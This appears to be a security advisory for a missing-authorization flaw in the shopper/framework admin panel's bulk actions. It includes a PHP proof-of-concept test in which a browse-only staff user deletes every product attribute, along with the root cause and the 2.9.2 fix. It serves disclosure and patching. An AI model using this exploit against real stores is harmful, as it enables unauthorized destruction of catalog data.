high · 8.1CVE-2026-56827Sep 11, 2026

CVE-2026-56827: Shopper Framework Missing Authorization on Filament Bulk Actions

Rohit Hatagale
AI Security Researcher, SecureLayer7

Browse-only staff accounts in Shopper's admin panel can mass-delete product attributes and tags, or toggle brand, category, and supplier visibility in bulk, because five Filament grouped bulk actions…

Packageshopper/framework
Ecosystemcomposer
Affected< 2.9.2
Fixed in2.9.2
CVE-2026-56827: Shopper Framework Missing Authorization on Filament Bulk Actions

The problem

Five Filament groupedBulkActions blocks across the Shopper admin panel omit the ->authorize(...) permission gate entirely. The affected pages are Attribute/Browse.php, Tag/Index.php, Brand/Index.php, Category/Index.php, and Supplier/Index.php.

Each page's mount() only requires the corresponding browse_* permission, so any staff user with read-only access can trigger state-mutating bulk operations over the standard Livewire callTableBulkAction endpoint. Deleting all attributes cascades into every product variant referencing them, and flipping visibility on all brands or categories silently breaks the storefront catalog.

Proof of concept

A working proof-of-concept for CVE-2026-56827 in shopper/framework, with the exact payload below.

php
<?php
// PoC: browse_attributes-only staff deletes every product attribute
// Derived from the published test in the advisory (AuthBypassPocTest.php)

use Livewire\Livewire;
use Shopper\Admin\Livewire\Pages\Attribute\Browse as AttributeBrowse;
use Shopper\Models\Attribute;

$viewer = User::factory()->create();
$viewer->givePermissionTo('browse_attributes'); // read-only; does NOT have delete_attributes
actingAs($viewer);

Attribute::factory()->count(3)->create();

// Precondition: viewer cannot delete
expect($viewer->can('delete_attributes'))->toBeFalse();

Livewire::test(AttributeBrowse::class)
    ->callTableBulkAction(
        \Filament\Actions\DeleteBulkAction::class,
        Attribute::pluck('id')->toArray()
    )
    ->assertHasNoErrors(); // succeeds — no gate blocks it

expect(Attribute::count())->toBe(0); // all rows gone

The root cause is CWE-862 (Missing Authorization). The per-record sibling actions in the same files correctly chain ->authorize('delete_attributes'), ->authorize('edit_brands'), etc., but the surrounding groupedBulkActions blocks were never given the equivalent chain.

Filament evaluates ->authorize(...) before executing the action; without it, the only gate is the page-level mount() check, which only requires the browse_* read permission.

The patch (released in 2.9.2, mirroring the pattern already present in Currencies.php, Reviews/Index.php, Collection/Index.php, and Discount/Index.php) adds the missing ->authorize(...) call to each vulnerable bulk action, matching the convention already established elsewhere in the codebase.

The fix

Update composer/shopper/framework to version 2.9.2 or later. The fix adds ->authorize('delete_attributes') to the DeleteBulkAction and ->authorize('edit_attributes') to the enable/disable BulkAction in Attribute/Browse.php; equivalent gates are added for delete_tags in Tag/Index.php, edit_brands in Brand/Index.php, edit_categories in Category/Index.php, and edit_suppliers in Supplier/Index.php.

No workaround exists short of removing browse-only staff roles or restricting network access to the Livewire update endpoint.

Reported by Vishal Shukla (@shukla304).

References: [1][2]

Related research